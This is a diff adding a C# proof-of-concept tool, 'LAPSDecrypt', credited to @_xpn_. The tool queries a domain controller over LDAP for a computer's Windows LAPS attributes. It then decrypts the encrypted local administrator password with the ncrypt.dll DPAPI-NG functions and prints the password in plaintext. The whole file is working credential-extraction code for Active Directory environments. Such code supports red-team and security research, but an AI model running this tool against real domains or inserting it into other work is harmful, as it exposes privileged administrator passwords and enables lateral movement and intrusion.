| 
     | 
    @@ -0,0 +1,146 @@ | 
  
    
     | 
     | 
  
    using System; | 
    
     | 
     | 
  
    using System.Collections.Generic; | 
    
     | 
     | 
  
    using System.DirectoryServices.Protocols; | 
    
     | 
     | 
  
    using System.Globalization; | 
    
     | 
     | 
  
    using System.Linq; | 
    
     | 
     | 
  
    using System.Runtime.InteropServices; | 
    
     | 
     | 
  
    using System.Runtime.InteropServices.ComTypes; | 
    
     | 
     | 
  
    using System.Security.Policy; | 
    
     | 
     | 
  
    using System.Text; | 
    
     | 
     | 
  
    using System.Threading.Tasks; | 
    
     | 
     | 
  
    using System.Xml.Linq; | 
    
     | 
     | 
  
    using static LAPSDecrypt.Win32; | 
    
     | 
     | 
  
    using static System.Net.Mime.MediaTypeNames; | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
    namespace LAPSDecrypt | 
    
     | 
     | 
  
    { | 
    
     | 
     | 
  
        internal class Win32 | 
    
     | 
     | 
  
        { | 
    
     | 
     | 
  
            [Flags] | 
    
     | 
     | 
  
            public enum ProtectFlags | 
    
     | 
     | 
  
            { | 
    
     | 
     | 
  
                NCRYPT_SILENT_FLAG = 0x00000040, | 
    
     | 
     | 
  
            } | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
            [UnmanagedFunctionPointer(CallingConvention.Winapi)] | 
    
     | 
     | 
  
            public delegate int PFNCryptStreamOutputCallback(IntPtr pvCallbackCtxt, IntPtr pbData, int cbData, [MarshalAs(UnmanagedType.Bool)] bool fFinal); | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
            [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] | 
    
     | 
     | 
  
            public struct NCRYPT_PROTECT_STREAM_INFO | 
    
     | 
     | 
  
            { | 
    
     | 
     | 
  
                public PFNCryptStreamOutputCallback pfnStreamOutput; | 
    
     | 
     | 
  
                public IntPtr pvCallbackCtxt; | 
    
     | 
     | 
  
            } | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
            [Flags] | 
    
     | 
     | 
  
            public enum UnprotectSecretFlags | 
    
     | 
     | 
  
            { | 
    
     | 
     | 
  
                NCRYPT_UNPROTECT_NO_DECRYPT = 0x00000001, | 
    
     | 
     | 
  
                NCRYPT_SILENT_FLAG = 0x00000040, | 
    
     | 
     | 
  
            } | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
            [DllImport("ncrypt.dll")] | 
    
     | 
     | 
  
            public static extern uint NCryptStreamOpenToUnprotect(in NCRYPT_PROTECT_STREAM_INFO pStreamInfo, ProtectFlags dwFlags, IntPtr hWnd, out IntPtr phStream); | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
            [DllImport("ncrypt.dll")] | 
    
     | 
     | 
  
            public static extern uint NCryptStreamUpdate(IntPtr hStream, IntPtr pbData, int cbData, [MarshalAs(UnmanagedType.Bool)] bool fFinal); | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
            [DllImport("ncrypt.dll")] | 
    
     | 
     | 
  
            public static extern uint NCryptUnprotectSecret(out IntPtr phDescriptor, UnprotectSecretFlags dwFlags, IntPtr pbProtectedBlob, uint cbProtectedBlob, in IntPtr pMemPara, IntPtr hWnd, out IntPtr ppbData, out uint pcbData); | 
    
     | 
     | 
  
        } | 
    
     | 
     | 
  
        internal class Program | 
    
     | 
     | 
  
        { | 
    
     | 
     | 
  
            static int delegateCallback(IntPtr pvCallbackCtxt, IntPtr pbData, int cbData, [MarshalAs(UnmanagedType.Bool)] bool fFinal) | 
    
     | 
     | 
  
            { | 
    
     | 
     | 
  
                byte[] data = new byte[cbData]; | 
    
     | 
     | 
  
                Marshal.Copy(pbData, data, 0, cbData); | 
    
     | 
     | 
  
                string str = Encoding.Unicode.GetString(data); | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
                Console.WriteLine("[*] Password is: {0}", str); | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
                return 0; | 
    
     | 
     | 
  
            } | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
            static void Main(string[] args) | 
    
     | 
     | 
  
            { | 
    
     | 
     | 
  
                string[] attributeList = new string[] | 
    
     | 
     | 
  
                { | 
    
     | 
     | 
  
                    "msLAPS-PasswordExpirationTime", | 
    
     | 
     | 
  
                    "msLAPS-Password", | 
    
     | 
     | 
  
                    "msLAPS-EncryptedPassword", | 
    
     | 
     | 
  
                    "msLAPS-EncryptedPasswordHistory", | 
    
     | 
     | 
  
                    "msLAPS-EncryptedDSRMPassword", | 
    
     | 
     | 
  
                    "msLAPS-EncryptedDSRMPasswordHistory", | 
    
     | 
     | 
  
                    "ms-Mcs-AdmPwd", | 
    
     | 
     | 
  
                    "ms-Mcs-AdmPwdExpirationTime" | 
    
     | 
     | 
  
                }; | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
                // Parse arguments for DN and DC | 
    
     | 
     | 
  
                Console.WriteLine("LAPSDecrypt POC by @_xpn_"); | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
                if (args.Length != 2) | 
    
     | 
     | 
  
                { | 
    
     | 
     | 
  
                    Console.WriteLine("Usage: LAPSDecrypt.exe <DN> <DC>"); | 
    
     | 
     | 
  
                    Console.WriteLine("Example: LAPSDecrypt.exe \"CN=CA01,OU=LAPSManaged,DC=lab,DC=local\" \"dc01.lab.local\""); | 
    
     | 
     | 
  
                    return; | 
    
     | 
     | 
  
                } | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
                string dn = args[0]; | 
    
     | 
     | 
  
                string dc = args[1]; | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
                string filter = string.Format("(&(objectClass={0})({1}={2}))", "computer", "distinguishedName", dn); | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
                // Create a new ldap connection | 
    
     | 
     | 
  
                LdapConnection ldapConnection = new LdapConnection(dc); | 
    
     | 
     | 
  
                ldapConnection.SessionOptions.ProtocolVersion = 3; | 
    
     | 
     | 
  
                ldapConnection.Bind(); | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
                SearchRequest searchRequest = new SearchRequest(dn, filter, SearchScope.Base, attributeList); | 
    
     | 
     | 
  
                SearchResponse searchResponse = ldapConnection.SendRequest(searchRequest) as SearchResponse; | 
    
     | 
     | 
  
                SearchResultEntry searchResultEntry = searchResponse.Entries[0]; | 
    
     | 
     | 
  
                if (searchResponse.Entries.Count != 1) | 
    
     | 
     | 
  
                { | 
    
     | 
     | 
  
                    Console.WriteLine("[!] Could not find computer object"); | 
    
     | 
     | 
  
                    return; | 
    
     | 
     | 
  
                } | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
                foreach (string attVal in searchResultEntry.Attributes.AttributeNames) | 
    
     | 
     | 
  
                { | 
    
     | 
     | 
  
                    if (StringComparer.InvariantCultureIgnoreCase.Equals(attVal, "msLAPS-PasswordExpirationTime")) | 
    
     | 
     | 
  
                    { | 
    
     | 
     | 
  
                        var expiry = (searchResultEntry.Attributes["msLAPS-PasswordExpirationTime"].GetValues(typeof(string))[0] as string); | 
    
     | 
     | 
  
                        Console.WriteLine("[*] Expiry time is: {0}", expiry); | 
    
     | 
     | 
  
                    }  | 
    
     | 
     | 
  
                    else if (StringComparer.InvariantCultureIgnoreCase.Equals(attVal, "msLAPS-Password")) | 
    
     | 
     | 
  
                    { | 
    
     | 
     | 
  
                        var unencryptedPass = (searchResultEntry.Attributes["msLAPS-Password"].GetValues(typeof(string))[0] as string); | 
    
     | 
     | 
  
                        Console.WriteLine("[*] Unencrypted Password: {0}", unencryptedPass); | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
                    } else if (StringComparer.InvariantCultureIgnoreCase.Equals(attVal, "msLAPS-EncryptedPassword")) | 
    
     | 
     | 
  
                    { | 
    
     | 
     | 
  
                        byte[] encryptedPass = (searchResultEntry.Attributes["msLAPS-EncryptedPassword"].GetValues(typeof(byte[]))[0] as byte[]); | 
    
     | 
     | 
  
                        Console.WriteLine("[*] Found encrypted password of length: {0}", encryptedPass.Length); | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
                        Win32.NCRYPT_PROTECT_STREAM_INFO info = new NCRYPT_PROTECT_STREAM_INFO | 
    
     | 
     | 
  
                        { | 
    
     | 
     | 
  
                            pfnStreamOutput = new PFNCryptStreamOutputCallback(delegateCallback), | 
    
     | 
     | 
  
                            pvCallbackCtxt = IntPtr.Zero | 
    
     | 
     | 
  
                        }; | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
                        IntPtr handle; | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
                        uint ret = Win32.NCryptStreamOpenToUnprotect(info, ProtectFlags.NCRYPT_SILENT_FLAG, IntPtr.Zero, out handle); | 
    
     | 
     | 
  
                        if (ret == 0) | 
    
     | 
     | 
  
                        { | 
    
     | 
     | 
  
                            IntPtr alloc = Marshal.AllocHGlobal(encryptedPass.Length); | 
    
     | 
     | 
  
                            Marshal.Copy(encryptedPass, 16, alloc, encryptedPass.Length - 16); | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
                            ret = Win32.NCryptStreamUpdate(handle, alloc, encryptedPass.Length - 16, true); | 
    
     | 
     | 
  
                            Console.WriteLine("[*] Decrypted Password"); | 
    
     | 
     | 
  
                        } | 
    
     | 
     | 
  
    
  | 
    
     | 
     | 
  
                    } | 
    
     | 
     | 
  
                } | 
    
     | 
     | 
  
            } | 
    
     | 
     | 
  
        } | 
    
     | 
     | 
  
    } |